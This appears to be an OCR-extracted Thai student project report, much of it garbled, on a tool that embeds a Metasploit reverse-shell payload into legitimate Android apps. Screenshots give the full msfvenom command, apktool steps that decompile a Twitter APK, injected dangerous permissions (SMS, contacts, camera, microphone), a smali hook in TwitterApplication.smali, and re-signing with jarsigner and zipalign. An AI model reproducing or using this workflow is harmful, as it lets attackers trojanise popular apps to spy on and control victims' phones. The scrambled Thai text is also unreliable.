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2.1.3 Android Application Installer (APK)
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2.1.4 Application Components
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2.1.6 Smali
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2.1.7 Signing Application
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2.1.9 Sideloading
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2.1.11 Reverse Shell
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2.2 p3asdanldlulassnuannafne
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2.2.4 Msfvenom
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IFsnduasdfmidonddsiiduinsgiuisitssonisldou 9 Msfvenom awnsnadis
Payload dusuunanviesusng 9 16 1y Android, Windows, Unix wag Nodejs 1lusiu

lnealy Msfvenom gnldiiteaiianazdseen Shellcode Useianeng q viavuafidieg

Y

Tu Metasploit @3 Shellcode (Hugadrdsvuinaniildilu Payload Tun1suigedinives

gondw$ udrumdaiflanfiainnsomunuuazianisiesostmnala

Attacker MSFVENOM
k4 k4 I | |l |
Metasploit Create Payload : Victim
Sending
Opening -l
k4
Meterpreter L Open File
J Reverse Shell Connected L
Control
k4
Shell

gﬂﬁ 2.6 HITULLEANINITNNGIUVDY Msfvenom
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2.2.5 Bash Script

Bash Script {ulusunsupeufiunesilisumeniwilusinsy Bash UuszuuUfumnIs

'
o o

Linux laeidulnddominusssunfidgndids Command Line g o A8n15v91ug o T

aunsaviaulilaesnludfdiornduldvisyaddwmsodduier waslinudnvuzidndu

willounwilusunsudu 9 wu gu Wity Reuly 1Wusu

2.2.6 Zenity
Zenity \Wuasesilafldasrenanslaordanuuunsviln (GUI) Tu Linux wnesidane
Shell Scripts tiiavinsuansdoeyanisvedayanndld lnefiguuuulaezdonusznnang o

=~ ¢ v Y o g v A ! Yo oA X
ll’]ﬂll"lEJLWE]WaUI"\WlHﬂqumaﬂﬂqﬁsﬂ@ﬂ@% quﬁﬂqﬁﬁaaqiigﬁ']qﬂm%ﬂcl.] Shell $198g9vU

2.2.7 Xterm

Xterm 1ulusunsusnasanestidad msuseuy X Window waglusunsudildanuisald
svuuminnslalnonse Insavdasuusuimesiladsudu Command Line 1eluminanetiu
LLazmﬂizUUUﬁﬁ’amiiﬁugmiaq%’Um1mmmimiumiﬂ%’usummawﬁﬁ wosiua Tusunsu

Xterm aglvasdnusanuasanmeaslilusunsuvinulunthdmnassminisusuun

2.2.8 Apktool
Apktool 1UuLA3asilodusunisiniamnssudeundu (Reverse Engineering) WaUnaia
Fu @u1saltnensianinegins (Decompile) wavasanaulus (Recompile) MasaINyiNN1g

wilvursedranglulng APK a2 aunsauwdlersesaiUadlng Smali voswaunaiatuls

2.2.9 Keytool

Keytool tHun3siloyaddiluniut Java ildlunisairauazdinnisdd (Keys) was
lususes (Certificate) IngaunnlviElydanis Public Keys uag Private Keys sufislususes
vowuesildluntsamedouanaifiotuduniudugwewoswaunaduiiu §1 Keytool
anfuAduazlususedlily Keystore A Keytool gagaelilvanansadanis Secret Keys

Mglun1snsfauazaonsiauuvannns (Data Encryption Standard) laenaae

2.2.10 Jarsigner

Jarsigner Wuadasdlofildnisluasuy (Signing) Twid Java Archive JAR) 28auaUn@n
Si’j’uLLazISi’fluﬂ’]imnaauawLszf"’uLLazmmamyjizﬁsuaavLWﬁﬁaaum 1ae Jarsigner 9810104
Keystore @513la8 Keytool ﬁLﬁU‘ﬁayjaﬂuaq Private Keys wazlususes X.509 ﬁl%ﬂqaﬁﬁmu

993 Public Keys Miigndouiielitoyarduazlususesiuadiimedundviadmiulug JAR
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2.2.11 Zipalign

Zipalien \Jup3osilodasumislng Zip Ss928U5uisnsdauininaweundndule
winzas il Android anansaldneuiuneunaiatulaetefiussansamannty uagyinli
weunandusarszuulneTuiauldigy nanlumssliunsisanasdmuLeUnandud

An1s9ndnunie dnvsdsnalidsununistd RAM anasiliaisentglug APK

2.2.12 Twitter
Twitter iJuusnsiesetnediauseulaunsoludeaiifenianlasuanuienlaegau

LALDIANTVANYAIUAL LABSENNITAITDAIUIN N9 (Tweet) FwUain vEeaUnIag
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A5N15A U IATINUENNARNEN

Tun1sfnwinisasistesuidmsuledlnanweundinduuussuuujiRnisuaunsosn
Fuflauddaitolinszaminddunsievesns Sideloading wion1saniinanueUndindi
Pnunasniinanduiililduna e unsnienisinensafiinisnsvaeusaziun1s SUTes
sueuaensouds Taegdnhldddunsinuaameuiansiidunuildsuseumne

nsanuaUszaIAvedlass nefitunawisnisrndulassuaniafny dedeluil

3.1 UWHUAMWLEAINITINUYRLRIYTEUY (Use Case Diagram)

Generating APK with Payload

Generate
Payload APK

Decompile
Payload APK

Decompile
Original APK

Add Permission
and Hook Smali

Compile APK

User with Payload

Attacker

Sign APK
with Payload

Start Listener

Send Connection

.
’ .
. <<include>>

Install APK
with Payload

;51]17‘ 3.1 Use Case Diagram an15a319lna APK il Payload
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9N3UT 3.1 uansnszurunslunisaiislid APK Aifinsilatauasvide Payload adly
nelulnd uazni3vin Reverse Shell Tnefiduidaunudusiusseninaudaznszuiunis
Tavua 9 N3puIums TeuA Generate Payload APK, Decompile Payload APK, Decompile
Original APK, Add Permission and Hook Smali, Compile APK with Payload, Sign APK with
Payload, Start Listener, Send Connection uag Install APK with Payload AU Actor ‘ﬁmm

2 Actors laud fldnussuvdfufnisueunsess (User) wagilaudnialeiues (Attacker)

3.1.1 918AZRYALKNUNINLAAINITTINNUYBNLYsEuL (Use Case Description)

M15797 3.1 Use Case Description 989 Generate Payload APK

Use Case ID 1

Use Case name Generate Payload APK

Actor Attacker

Description Funaunisadalilg APK daasndisinisils Payload aslululwg
Pre-Conditions HoansTu Local uaz Public IP Address vasnsesiildlaufnou

Post Conditions Tlanusadeldaulnd APK Avinnisasrsesnunle wsiziduniie

Indtaasaingy aznanaduiieslensutounaiady

Main Flow TdA1dves msfvenom Imﬂﬁadizq Local IP Address %38 Public
IP Address ¥89tA329Ntalaud WSauMnAUA Port kazninyue
Uselnn Payload Nagldlaiievinnis Generate g APK

1n13#s Payload

Exceptional Flow | -

15747 3.2 Use Case Description U484 Decompile Payload APK

Use Case ID 2

Use Case name Decompile Payload APK

Actor Attacker

Description Fupounsuanlilg APK Fapsnaiidnnsil Payload

Preconditions a¥9loid APK Saasnaiitinnsila Payload muduneuneumth

Postconditions Ialnanesfiusznauluselng Android Manifest, Resources,
META-INF uag Classes Dex %qasgﬂiﬁﬂuﬂmﬁlﬂ Payload Tu
Funousely
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Main Flow

Fnsuanlig APK Faasnafisinsils Payload amelulng dsasls
Wawmosves APK fiusznauluselg Android Manifest,

Resources, META-INF ez Classes Dex

Exceptional Flow

A15799 3.3 Use Case Description ¥84 Decompile Original APK

Use Case ID

3

Use Case name

Decompile Original APK

Actor Attacker
Description Fumaunsuaning APK duaduitazldlunisils Payload

Preconditions

weslWg APK vesuaUwatadudiagldlunisil Payload

Postconditions

Ialnamesiusznauluselig Android Manifest, Resources,
META-INF 4@ Classes Dex sgnlélumsiiia Payload

Tutumausaly

Main Flow

Fnsunnlig APK sesnaundinduiiazldlunisils Payload 399z
I§lnawmasves APK fiuszneuldsaslid Android Manifest,

Resources, META-INF gz Classes Dex

Exceptional Flow

A151971 3.4 Use Case Description 989 Add Payload in Smali

Use Case ID

q

Use Case name

Add Permission and Hook Smali

Actor Attacker
Description TupaunsHiveansnslduLasiiuynAds Payload @ Smali

Preconditions

Fnsuanlid APK $9a51971Hls Payload waslvd APK duatud

a¢14le Payload wievhnisudlalng Android Manifest way Smali

Postconditions

alnawmas APK fianunsavinanulaiviisulndauaduwsdinisels
Payload 1in1elu Tneresitnstudnlnamesiielrladulnan

anunsatludnaalasudunausall

Main Flow

yimsiiinsdsnielulng Android Manifest vasinlainas APK

fuavuievaiuaNSN1stEau vinlianunsavinauuenwmieannd
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waUnardumualinnaaula wazdl Payload Tulwg Smali 91la
insasabilulnawmes APK gaasuidastululig Smali ves

awmas APK auatu

Exceptional Flow

A15799 3.5 Use Case Description 984 Compile APK with Payload

Use Case ID

5

Use Case name

Compile APK with Payload

Actor Attacker
Description Tumaunistudalnames APK Aifin1sils Payload aslunnelulg

Smati nduaudulig APK Tndiden

Preconditions

NsEUNTSYeANSuAzLY Payload adlululvd Smali ign

wanl AU UMD UADUNTA

Postconditions

lalWa APK vosueunalatuniinisils Payload 3uusaeian

e luasunukeunandunazinfanaly

Main Flow

nstusalnaines APK 7ifin1sils Payload aslunnely

W8 Smali Bousesnainduaudulng APK TudiRen

Exceptional Flow

151971 3.6 Use Case Description U84 Sign APK with Payload

Use Case ID

6

Use Case name

Sign APK with Payload

Actor Attacker
Description JuppUNTATUINLEUNALATUNTNTSHS Payload e luAnsms

Preconditions

Jusalnawmas APK 1ulwd APK Indifen audunaunoumntin

Postconditions

Tawaunantuinasuiussuseswaauisatnlufngals a1adeein

n13 Align woundiptulisanivellalia APK Afiuss@nsnin

Main Flow

MN198319 Keys 918 Keytool dusulalunisasus uagvinnisas
a o ada Y v . ¥ o
U UNaLATUNINISHY Payload La1AdY Jarsigner WSaNIN1g

Align woUnaATuaIY Zipalign

Exceptional Flow
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miﬂﬂﬁ 3.7 Use Case Description 989 Start Listener

Use Case ID

7

Use Case name

Start Listener

Actor Attacker
Description TupaUNISIUA Listening Port tiasa3un15AnsieaniATegly

Preconditions

Postconditions

mngldiiueunaiaduni Payload Heag lngdiiav IP Address
YoIRlaLFuag Port nmualinseiu wiewedldagyinisdinis

\eiaNAULN kAT a1 TINR AT YR LGl

Main Flow

nslgadaieida Listening Port Tageasniuua Local IP
Address %158 Public IP Address Ua%A3pINLELaNG WSaUNAUA

Port NivglifsenisinseainiaTesverly

Exceptional Flow

157471 3.8 Use Case Description ¥84 Install APK with Payload

Use Case ID

8

Use Case name

Install APK with Payload

Actor

User

Description

o
v

JuRaUNITRAAILDUNAIATUNLNISHY Payload 3uUsaaua

Preconditions

$MNTAUINLRUNALATULND UM LTUR DUN DUV M1nvinnIg

asuuwaUNAATUIL ldausaRnR L UNaLATULA

Postconditions

mngldinsaunsianeenagliannsaiinfaniosnlaudlaon

Main Flow

pnatllwanlia APK 713in138e Payload Hayinn1sAnmasuuLATes

WAUATPYA LATAILNTALNLTULaUNAATUlABEN9UNR

Exceptional Flow

v o
aaa U

nsainfnslulao1ainaniinisAngnaundiatunlglususes

Wenfuegnelunses dululymannisamuweyndiaduy

m‘sﬂﬂﬁ 3.9 Use Case Description Send Connection

Use Case ID

9

Use Case name

Send Connection

Actor

User
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>
1Y

Description TungunsansiasenauludunIasvelavd

v aa

Preconditions AasaloUnalaTuniinisile Payload Mdin1smuus IP Address uag

a o

Port assiunglauAivualilun1sila Listening Port

Postconditions Alanfaganansainiedeyauuiniesasrlsla
Main Flow AnsaueUnalATuNInIsils Payload Minviua IP Address ay

Port asafiuiglandnmunalilunisiUe Listening Port wagyinns
Wihlduneundiadumuund iasesweldaziinisdinisieuss

K1Y Listening Port MIElauslUnsesued Tneglalisam

Exceptional Flow | mnsinn1sauseunadtiuisetnnisyinauazliauisads

msweuselumElauala

3.2 LAUNINLENINSZUIUNTISNIU (Flowchart)

3.2.1 Flowchart ¥asWsAdu Generate Payload APK
LRUATNUEAINIEUIUNITVI9IUVBINIATY Generate Payload APK Tagiilals a5y
an3uRTuLsNaEAsdeUINinIsind I el eAduduluszuuud s el windsazyiinng

A o ) wa A o Y v o oA oA ) ., - o P I3
Anasllagdnlud® Welasaduazithgnimanivadenilantdu lagflanduliagyinmsasielng

Ao o s

APK fififausunsed Insmlndazlianusadadhldnulddeminduiedidilanlaidsn

weunaiaty lagavdedsyy IP Address vauaTeddlauauag Port Liteldlunisvin Reverse

124

Shell wiauszyTalnd APK antuaTesiioasyitnisasalnd APK nildauasulsediiedaya

Y

NT2UNT WAZRANINUINAIINL NS NN U 9AdY Start Listener Wiosasun1sinsie

nnasedgniand mndenluissmissuilsiduazaunmsvialulsidtulifegun 3.2
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Dependencies
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window

Y
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Payload APK function
Y
|P's attacker, Port,

APK name

Y

Generating
Payload APK

A 4

/ Payload APK /

Start
Listener

Start Listening
Mode on Port

exit /

5U# 3.2 Flowchart 98901583149 Payload APK
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3.2.2 Flowchart wasWlandu Create New Payload APK
LHUATNRERINTTUIUNISYIURIHeA Y Create New Payload APK Tpaiilaisusy

AASUATULTNATATI@DUINT NIRRT AT aadl o s ndulussuundnsold undiazyinnis

(%
a (Y

fanslilaednlugd Woiasaduanigniwmdnifioidenilerdu neftsddutazlng Apk
Fuatuniioilinanasa1n Payload APK §aazlsdauisuoundinduiifidnvasiniloulns
APK fuatiu Tngagdesszy IP Address vaain3adlauduag Port iiteldluni9y1 Reverse
Shell w¥auszuBalid APK uazlwd APK duatiufiasiinassiaufueundiadu

ntuasosdoazyinisadialng APK Aifldauisuntegiietayanseyun uagyiinis

aAa v 3

ueantngd APK AdtTausnsouduwaniigd APK duatiu azladulnames APK @919819 200t

.
£ v o=

WNNMSYeENBIIIE (Permission) wagiindanisiasnesanlud Payload APK aslululnawnes
APK fuatu wiouszysmuvis Smali (Hook Smali) udidsvinistudalnaines APK duaduy
MursTawasuanduAuduldmilowns wagvians Sign way Align lnd APK wieldlunns

fAnRemaly LAIFIWAAINUIAIIAINIULN DS UAUYI I UHINTY Start Listener tilas05UNNS

a .:4' v a a 5% a ¢ w ° o Ao =
Wﬂﬁ]@ﬂqﬂlﬂiaﬁagﬂiﬂmm ‘VnﬂLaaﬂl&l(ﬂ@ﬂﬂ'ﬁlﬁmﬂﬂﬂsUUQSR]Uﬂ'ﬁW'N'nﬂu‘WQﬂsﬁuuﬂﬂg‘u‘ﬂ 3.3
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dependencies

Dependencies
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Start options
window

Y

T

Select Create New
Payload APK function

/

Y

/

A

IP's attacker, Port,

PK name, Original APK/

Y

Generating
Payload APK

Y

Decompiling
Payload APK

Y

Decompiling
Original APK

Recompiling
APK with Payload

Folder of
Payload APK

Add Permission
and Hook Smali

Folder of
Original APK

Y
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/ Original APK
with Payload
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5l 3.3 Flowchart ¥8sn13a319 Payload APK Tusifiae APK fuatiiu
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3.2.3 Flowchart vaeWendu Start Listener

LHUATNLERINTEUIUNISY9IUYeTan Y Start Listener Tnendl o153 uduansudaz
asvdeuinsinaaaieslefisniulussuundiviol vndavinisandslilnesnlusia
Slawasaduandgrinndnidedenilaiu Tnslsriduiiasihnissefumsindeanedosuasy
grlaufiau Port Aifvualy Tagagsiesszy IP Address vesadoslavfuazimun Port Lile

~

14lun19911 Reverse Shell uazilleUnn1siweusieazaunisiauluilaiduilasgui 3.4

Install all
dependencies

Dependencies
Installed ?

Yes

w| Start options
window

A 4
Select Start
Listener function

4

/IP s attacker, Port/

Y

Start Listening
Mode on Port

=

A 4

End

gﬂﬁ 3.4 Flowchart ¥8sn5tUn Listening Port tilesa3unisansie
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3.3 WNUNTWHEAINANTIN (Activity Diagram)

3.3.1 Activity Diagram 989n15%191UN9%U Generate Payload APK

LHUAMLAAIAINTTINNTYILYaHlaidU Generate Payload APK Tagiilafflaufisu
SuarsusduLsnansUiaznsnaeuiiinsfasaedosdiofisntulussuundvdolsl minde
ymsdnsdlilaesaludd WoaSafuandguimdnifiodonilaitu Tasiladdu Generate
Payload APK i3uduazuanavtisinsliinsondoyalagazsiosssy IP Address vedin3asylau

)

wag Port ieldlunisyin Reverse Shell wiausyydolud APK ntupIasiiaazyinnisadn

v =i

Tld APK 7fisTawrsunlsegmedayanisyusn wazsianwmisnsuanduialildngnasnetu
NTUILUAAIMTIAIIADUHBSUAUYIUTATY Start Listener asasun1sinsie
= D a = 5. . o co X v oA « s a v
NIATBVBEYNIANA MniFen “No” agaumsvinaluilenduil wididen “Yes” azisusu
HandulaeSurrduiadaluug Listening kazianmin Terminal Liesesun1sinse wazy
laufagdoninlng APK nHsiawasnasrsvulumeuns mnggnlaufignvaentianitlnanuay
AndawaUnainty JawrsnegnelukeUundintuazdinsinrenauuduasevelauiniy
Port fAimunaly Weweuseldvi Terminal azuansdnIUsNISIWBNAR WDUTOTUAHIIING

laudiaidntaeyanie 9 unaunsalvesgnlaud fagui 3.5
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Attacker

Automated Script GUI
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Sufu
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ATIVADUNITANAY
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ANSLSUAY
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y
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gﬂ‘ﬁ 3.5 Activity Diagram ¥84n158319 Payload APK
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3.3.2 Activity Diagram 98901591197 ReA%Y Create New Payload APK

LHUATNLERIADINTTINNTYINLYBaTlsdU Create New Payload APK Taeiileflasd
Bufuariuddunsnaniuiazamaaeuhiimsfesaeiesdefisndulussuuwdvdola mnds
awvhnsiadslilaeseluif WeolaSAuasidguimdnidenileidu Tnaduilsiduazuans
wihwndlvinsendeyalasazsossey IP Address vaainoslaufnay Port tieldlunisyiy
Reverse Shell Wiousyydold APK wagld APK suatiufaviinunaisiaufueundiadu

Ao s

1 A oA ° o ¢ "y v PN °
mamLﬂiam@%mmiaﬁdlﬂ/\m APK ‘lelaLL?iLLNQ@g@QST@HﬁW?BuN’] LLagNINIILLAAN

Aa o ¢

W8 APK Nilsfauisnsouduuaning APK duatyu azlaiduluaines APK @090e19 910ty

s
a v =

AN590aN319181 (Permission) waztfiudawisiiadnsainlng Payload APK aslululnaines
APK fiuatu nwiauszusuvis Smali (Hook Smali) usddwinnistudalnaines APK duaduy
furadanrsudanduaudulidudowdn waziinis Sign uas Alien Tild APK wiieldlunis
Andasialy waguansthansusndumidlag APK fignadhety
nfuasanaisia e uduinuiladdy Start Listener ilasosunisingde
Mnedasasgnland mniden “No” azaummhenluiladull widuden “Yes” aidudy
flerdulagsuddailoalun Listening Wazuananiin Terminal iilosaunsdnsie uazs
Touflasdonialng APK Aififauriiasrstuliweund mndgnlaufgnueonivionivanuay
ArdanoUnaiadu saurifiegnieluueundiaturzdinisiasenduindedose s laufi
Port Amunld ilaidewsieldniih Terminal szuansanuznsdioNsio niausasumdaaing

Taudiednfisdayasng < vugunsalrewgnlaud Asgun 3.6
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3.3.3 Activity Diagram 989n15¥n191unei®u Start Listener

LHUAMLAAIAINTTNNTYINUvRsiledAty Start Listener Tneifloglavfizusuaniud
funsnaniuiaznrraeuiniinmsfindauaisdefisniulussuuudundola mndegyins
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Suduazuanaisndlinsendeyalnuaziosszy IP Address vouaioslavfiuag Port Lile
1#lun15vi Reverse Shell udr3e3usurmdaiiolalvun Listening uazuanswii Terminal
dlesesunisinde wasdlaufasdonilng APK fiflifaursfiasdulumeuns minggnlaxd
gnuaenlinilnanuasindaueundindu ffaurifieganeluneundinduazdenisinsie
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Ilunsindsteayauniasesvagnlaui Inelisuasiduanan1saniuanunsl

o g ) A A
4.1 NaawdNITNMUILAIDNIUD

4.1.1 N1SASAAFIUNITANAIATI NI NI ULNALAY

/home/kali/Desktop/CDIC/MaliciousAPK

Checlddng depen

Apktool
Zipalign..... L

DEPENDENCIES

All dependencies installed

<,

5UN 4.1 astvdeunsinneiaTasiiandnduiinanay

1 '
a U )

n3UT 4.1 1Hunsnsiaaeunisindaesesdendnduiinfnuussuufieriinissu

(%
a (Y

A1de lnglasosllaiiaufuidesinn1s@nnalaun Metasploit Framework, Xterm, Zenity,

Apktool uax Zipalign mnwuiasesilendaligniiadeasyinisianslilagsnludi Wednss

1
a [

ASUTNVUAISUAAINTIA1NTSARAIESIFUA U
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4.1.2 RUIMANNITNNU

oid Application >

OPTIONS :

UM 4.2 nifmann1svineu

9103UN 4.2 W viinisesasdeunisinasiasesfienidnduiiudunds azdngun

nannsUiieldeniendunfeenisiiauaunaneay 1-3 wagudieay 0 Wessnmnly

1Y M 1% a

AOINISITU NTELEDNUNIELAY AN NI OFYaN I UN I NADINILNANNUAIZ AR

Y

YAy Invalid option waglivinnisiaenlnudnasa

4.1.3 N15719UYINeNYU Generate Payload APK

e & Embed & Create Backdoor APK for Android Application >

OPTIONS :
SET LHOST

Cancel

[1] GENERATE PAYLOAD APK

5Ufl 4.3 fwun IP Address

1N3UN 4.3 nasandentlefidy Generate Payload APK m3eiay 1 981015434

Generate Payload APK lpgdaeivug IP Address vaaiazasiagldinnislaumsiagy



34

SET LPORT
Enter Your Port
4444
Select > 1 Cancel

[1] GENERATE PAYLOAD APK

0

SUT 4.4 fivun Port

NFUN 4.4 vimrsimun Port Nglalunis Listening Litesasun1sfinsaainiaies

vosrnnlanfiilonaidineUnainunlaainnis Generate Payload APK

e § Embed & C oor-APK for Android Application >

(]
PTION PAYLOAD NAME

Select > 1

[1] GENERATE PAYLOAD APK

0

sUfl 4.5 fvunade APK

NN3UR 4.5 fmusdieveslid APK M9zldndsyiinig Generate Payload APK 139
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APK for Android Application >

€DIc 2022
Generating
Select > 1 Cancel

[1] GENERATE PAYLOAD APK

msfvenom -p android/meterprete e_tcp LHOST=19 .1.11@ LPORT=4444 -a dalvik -—platform android R -o payloadAPK

mﬂgﬂﬁ 4.6 131M13 Generate Payload APK fewpsasile msfvenom Tagld Payload

android/meterpreter/reverse tcp \fievi1n13 Reverse Shell uu Android

OPTIONS : i} BACKDOORED APK

“ﬂ PATH: /home/kali/Desktop/CDIC/MaliciousAPK/payloadAPK.apk

Select > 1

[1] GENERATE PAYLOAD APK

msfvenom -p android/meterpret

[+] Done

OPTIONS : 7 START LISTENER

Do you want to start listening now?

Select > 1

[1] GENERATE PAYLOAD APK

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.110 LPORT=4444 -a dalvik --platform android R -o payloadAPK.apk

¥ 1

U 4.8 wieneuanIn1sunenty Start Listener
NIUN 4.7 {i9vINs Generate W@5aduRzLanIviidIUandLrtatlig APK #ila
NUUILUAAINUIANAIDINNITSUAUYINUTRIATY Start Listener Liaso3UN15AAF0IN

d' % P Y] =] A v iy a 2 o v o a g
Lﬂﬁaﬂ%aﬂagﬂi‘ﬂﬂm 5Un 4.8 VﬂﬂLaaﬂﬂﬂlumaﬂﬂ'ﬁﬁﬂﬁﬂﬂ%u‘ﬂgﬁﬂaUlULLaﬂﬂwuqﬁaﬂ@ﬂﬂﬁﬂ

Y
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Emergency calls only =0 (561 01:23
-
MainActivity

<] @

v
[

UM 4.9 Annsueunatadudiils Payload

4.1.4 n159N9UVRINIAYU Create New Payload APK

& Embed & Create Backdoor APK for Android Application >

OPTIONS : w SET LHOST

Enter Your IP Address

192.168.1.110|

Cancel

[2] CREATE NEW PAYLOAD APK

gﬂﬁ 4.10 A1viun IP Address

31NN 4.10 nasandenilandu Create New Payload APK manesay 2 3¥3i1n13i3y

Generate Payload APK laggiaenivug IP Address vaawazasniagldinnislaumsisgy



Select > 2

[2] CREATE NEW PAYLOAD APK

0

37

oid Application >

L4 SET LPORT

Enter Your Port

4444

Cancel

Ui 4.11 faviua Port

IN3UT 4.11 viansiwiua Port Maglaluns Listening Litesasun1shindeanniaIos

vosrgnlauAilenadiueundiatuiilaannns Generate Payload APK Zusnly

OPTIONS

Select > 2

[2] CREATE NEW PAYLOAD APK

0

oor APK for Android Application >

PAYLOAD NAME

r Your APK name

twitterAPK

Cancel

gﬂﬁ 4.12 fviunda APK

mﬂg‘u‘ﬁ 4.12 fviundevedlid APK Tlagldndsinns Create New Payload APK 154
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ORIGINAL APK
Recent B home kali Desktop CDIC APK

Home Name i Type Modified
Desktop % Facebook_Lite.apk .8MB  Android ge TlDec
MaliciousAPK ¥ Instagram 132.0.0.0.67.apk 31.8MB Android package 12 Dec

" Twitter_6.45.0.apk .4 Android package 12 Dec

cdrom0 =

|
(@)
L
]
]
(-]
+

Other Locations

U 4.13 nthdnadentng APK duatiu

NFUN 4.13 Hemnundalid APK Nagliiasauda azuanamisslindenlng APK
puatuazilulalunisadnelaa APK Twsidnlnaivianasils Payload aslunielu a1ndeens

alald APK duaturesueUnaiaty Twitter version 6.45.0 fagy

PK for Android Application >

OPTIONS : (] CDIC 2022

Generating p: d apk...

Select > 2 Cancel

[2] CREATE NEW PAYLOAD APK

LPORT=4444 -a dalvik -——platform android R -o twitterAPK.apk

5Ufl 4.14 ntidinauansnns Generate Payload APK

mﬂgﬂ‘ﬁ 4.14 3un13 Generate Payload APK sewa3asdle msfvenom Tagld Payload

android/meterpreter/reverse_tcp d@usuldlunisvin Reverse Shell uu Android
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rate & Embed & Cr APK for Android Application >

(] CDIC 2022

Decompiling original apk...
Select > 2 Cancel
[2] CREATE NEW PAYLOAD APK
msfvenom -p android/meterpreter, e_tcp LHOST=19 8.1.110 LPORT=444%4 -a dalvik —platform android R -0 twitterAPK.apk

apktool d -f -o /home/ka n/CDIC/MaliciousAPK ginal /home/kali/Deskt C/APK/Twitter_6.45.0.apk

JUN 4.15 nienauanen1s Decompile APK fuatu

N3UT 4.15 yinsuanleld APK fuadu (Twitter 6.45.0.apk) 1den Feie3asile

apktool lufalaimes original Nvn1sadrevuln

< Generate & Embed & Create Backdoor APK for Android Application >

CDIC 2022

OPTIONS : ompiling payload apk...

Select > 2

[2] CREATE NEW PAYLOAD AF

msfvenom -p android/meterp e_tcp LHOST= 3.1.110 LPORT=4444 -3 dalvik —platform android R -o twitterAPK.apk

apktool d -f -o /home/kali/Desktop/CDIC/MaliciousAPK/original /h li/Desktop/CDIC/APK/Twitter_6.45.0.apk

apktool d -f -0 /home/kali/Desktop/CDIC/MaliciousAPK load /home/kali/Desktop/CDIC/MaliciousAPK/twitterAPK.apk

sUfl 4.16 nlirdinaudansn1s Decompile Payload APK

mﬂgﬂ‘ﬁ 4.16 ¥msuanlng Payload APK ildanndunaunis Generate Payload APK

AeLAsesile apktool ludilnawnes payload Nvinn1sasnsgulal
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<uses-permission android:name=android.permissior .INTERNET />
<uses-permission android:name=android.permissior .ACCESS_NETWORK_STATE />
<uses-permission android:name=android.permissior .ACCESS_WIFI_STATE />
<uses-permission android:name=android.permissior .ACCESS_COARSE_LOCATION/>
<uses-permission android:name=android.permissior .ACCESS_FINE_LOCATION/>
<uses-permission android:name=android.permissior .READ_PHONE_STATE/>
<uses-permission android:name=android.permissior .SEND_SMS/>
<uses-permission android:name=android.permissior .RECEIVE_SMS />
<uses-permission android:name=android.permissior .RECORD_AUDIO />
<uses-permission android:name=android.permissior .CALL_PHONE />
<uses-permission android:name=android.permissior .READ_CONTACTS/>
<uses-permission android:name=android.permissior .WRITE_CONTACTS />
<uses-permission android:name=android.permissior .WRITE_SETTINGS />
<uses-permission android: id.permissior .CAMERA />
<uses-permission android: id.permissior .WRITE_EXTERNAL_STORAGE />
<uses-permission android:name=android.permissior .RECEIVE_BOOT_COMPLETED/>
<uses-permission android:name=android.permissior .SET_WALLPAPER/>
<uses-permission android:name=android.permissior .READ_CALL_LOG/>
<uses-permission android:name=android.permissior .WRITE_CALL_LOG/>
<uses-permission android:name=android.permissior .WAKE_LOCK/>
<uses-permission android:name=android.permissior .READ_SMS />

sUf 4.17 n1skiia Permission Tulvd APK duatiu

1N3UT 4.17 virnsiiudns nsidndedeyaluld AndroidManifest.xml ¥as APK
Auatu elienunsaiinfadeyauasldausyuusne 9 WinituenvieniuaUunaiaduiiy

wolila Wy nssudeyatonny nseudeyanaderiinse nisldnundesaiesy Wusiu

[+] rm /payload/smali/com/metasploit/stage/MainActivity.smali
[+] sed -i slLcom/metasploit|Lcom/twitter/androidlg /payload/smali/com/metasploit/stage/*.smali

[+] e¢p -r /payload/smali/com/metasploit/stage /original/smali/com/twitter/android

SUT 4.18 3wy Payload Tulwd APK duatiu

mﬂgﬂﬁ 4.18 ¥nisaulid MainActivity.smali 2098 Payload APK witeluliivina
Viudauiu MainActivity voslid APK duatiu aintiuvinniswasuie Package veslug smali
VanuenIofnslndaal Payload Heoe lulwainas /payload/smali/com/metasploit/stage
v94ld Payload APK 911 Lcom/Metasploit U Lecom/twitter/android §u8uie Package
vaalwd APK duatiu (Twitter_6.45.0.apk) iieliansnsninludslulung APK duatulsd Tne
¥insAnaeninanes stage stavuafiviinsilasude Packace udalugaiums Package

vo4ld APK @duatu /original/smali/com/twitter/android

Injected Smali: com/twitter/app/common/app/TwitterApplication.smali

In line: 24
Inject: invoke-static {}, Lcom/twitter/android/stage/MainService;—»start()v

g‘lh?i 4.19 n135 Hook Smalies

' '
v a

mﬂ'gﬂﬁ 4.19 vhmsunsnendadinlluussiind 24 vesld TwitterApplication.smali
2998 APK duadu 6’35Lﬁulv\léﬁ%gﬂ%’uL‘f]u"LWéLLiﬂLﬁaﬁwmifﬂmwﬂwﬁLﬂﬁi’fu TnetfiuAds
invoke-static {}, Lcom/twitter/android/stage/MainService;->start(V deldueunainturi

N334 MainService ﬁagﬂu‘lﬂama% stage fifnaonann Payload APK ﬁ'ﬁgﬂﬁ 4.18
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<uses-permission android:name=android.permission.CALL_PHONE />
<uses-permission android:name=android.permission.READ_CONTACTS/>
<uses-permission android:name=android.permission.WRITE_CONTACTS/>
<uses-permission android:name=android.permission.WRITE_SETTINGS/>
<uses-permission android:name=android.permission.CAMERA />
<uses-permission android:name=android
<uses-permission android:name=android
<uses-permission android:name=android .
<uses-permission android:name=android Rebuilding backdoored apk...
<uses-permission android:name=android

<uses-permission android:name=android

<uses-permission android:name=android

(] CDIC 2022

In line: 24
Inject Smali: com/twitter/app/common/app/TwitterApplication.smali

apktool b /home/kali/Desktop/CDIC/MaliciousAPK/original -o tmp_backdoor.apk

5UT 4.20 ntihdinauanens Rebuild Backdoored APK

9n3UT 4.20 vhmssauvsedudalnames original Faduldawmesildainnisuanlng
APK @uatusagifid Payload wnlu saslailuld APK Tvaidansniinuideulnd APK duadtu
wsiiinsile Payload agnelusieinesile apktool lutuneuilagyiinisaulnaines original

way payload Nlgamnn1sunninanagun 4.15 uay 4.16 ivednnslnanlilduds

e -storepass android -key s android -digestalg SHA1l -si

jarsigner -werify

zipalign 4 tmp_backdoor.apk twitterAPK

sUfl 4.21 an3 Sign APK

mﬂgﬂﬁ 4.21 Tun"s Sign APK 98911n15A573@0UN U1t UsEUUT Debug Keystore
el mnlufiarliinisasslmllnesmludigeniesiie keytool anturinnng Sien APK
8 Keystore ﬁﬁa&ujw%a%ﬂa%ﬂmLLazm’maaU’jw APK fuvinmns Sien 3oudosudaviell
Tngldiadosile jarsisner wda33vi1n15 Align e APK Tnaldaps1adi Sien ’auudalaidulng

APK Tuaifiinisils Payload agnglusasanunsarirlunnasale

o3 BACKDOORED APK

